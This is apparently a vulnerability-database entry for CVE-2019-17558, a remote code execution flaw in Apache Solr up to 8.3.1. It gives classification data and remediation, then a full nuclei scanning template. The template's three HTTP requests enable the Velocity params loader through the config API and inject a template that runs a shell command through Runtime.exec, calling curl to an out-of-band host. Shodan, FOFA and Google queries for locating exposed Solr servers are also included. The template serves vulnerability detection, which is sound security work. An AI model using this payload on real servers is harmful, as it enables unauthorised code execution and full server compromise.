SecurityContext

CVE-2019-17558: Apache Solr <=8.3.1 - Remote Code Execution

Classification

  • Cwe: CWE-74
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.98567
  • Epss percentile: 0.99923
  • Cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*

Metadata

  • Fofa-query: title="solr admin", title="apache solr"
  • Google-query: intitle:"apache solr", intitle:"solr admin"
  • Max-request: 3
  • Product: solr
  • Shodan-query: cpe:"cpe:2.3:a:apache:solr", http.title:"apache solr", http.title:"solr admin"
  • Vendor: apache

Products

ProductIndexedUrl
apache:solryes/v1/products/apache/solr

Labels

  • Name: Apache Solr - Server-Side Template Injection
  • Impact: Attackers can execute arbitrary code remotely, potentially leading to full server compromise.
  • Remediation: Update to Apache Solr 8.4 or later versions.
  • Vulnerability type: template_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: admin_privileges
  • Requirements: Attacker needs configuration API access or to upload malicious configset
  • Labels source: projectdiscovery
  • From cve: CVE-2019-17558

```yaml

id: CVE-2019-17558

info:

name: Apache Solr <=8.3.1 - Remote Code Execution

author: pikpikcu,madrobot

severity: high

description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).

impact: |

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system.

remediation: |

Upgrade to a patched version of Apache Solr (8.4.0 or later) to mitigate this vulnerability.

reference:

- https://issues.apache.org/jira/browse/SOLR-13971

- https://nvd.nist.gov/vuln/detail/CVE-2019-17558

- https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E

- http://packetstormsecurity.com/files/157078/Apache-Solr-8.3.0-Velocity-Template-Remote-Code-Execution.html

- https://lists.apache.org/thread.html/r0b7b9d4113e6ec1ae1d3d0898c645f758511107ea44f0f3a1210c5d5@%3Cissues.lucene.apache.org%3E

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

cvss-score: 7.5

cve-id: CVE-2019-17558

cwe-id: CWE-74

epss-score: 0.98567

epss-percentile: 0.99923

cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*

metadata:

max-request: 3

vendor: apache

product: solr

shodan-query:

- cpe:"cpe:2.3:a:apache:solr"

- http.title:"apache solr"

- http.title:"solr admin"

fofa-query:

- title="solr admin"

- title="apache solr"

google-query:

- intitle:"apache solr"

- intitle:"solr admin"

tags: cve,cve2019,kev,packetstorm,apache,rce,solr,oast,vkev,vuln

http:

- raw:

- |

GET /solr/admin/cores?wt=json HTTP/1.1

Host: {{Hostname}}

- |

POST /solr/{{core}}/config HTTP/1.1

Host: {{Hostname}}

Content-Type: application/json

{

"update-queryresponsewriter": {

"startup": "lazy",

"name": "velocity",

"class": "solr.VelocityResponseWriter",

"template.base.dir": "",

"solr.resource.loader.enabled": "true",

"params.resource.loader.enabled": "true"

}

}

- |

GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1

Host: {{Hostname}}

Connection: close

matchers-condition: and

matchers:

- type: word

part: interactsh_protocol # Confirms the HTTP Interaction

words:

- "http"

- type: status

status:

- 200

extractors:

- type: regex

name: core

group: 1

regex:

- '"name"\:"(.*?)"'

internal: true

digest: 4a0a0047304502200213617d93631af040097effcc19b3bdeb9c2c1611871ee38b6e39dfe9e77e5f022100df3dcb3863ff55ce3e35ac029fc29aeaab09a66814b3a000e85d320df322868a:922c64590222798bb761d5b6d8e72950

```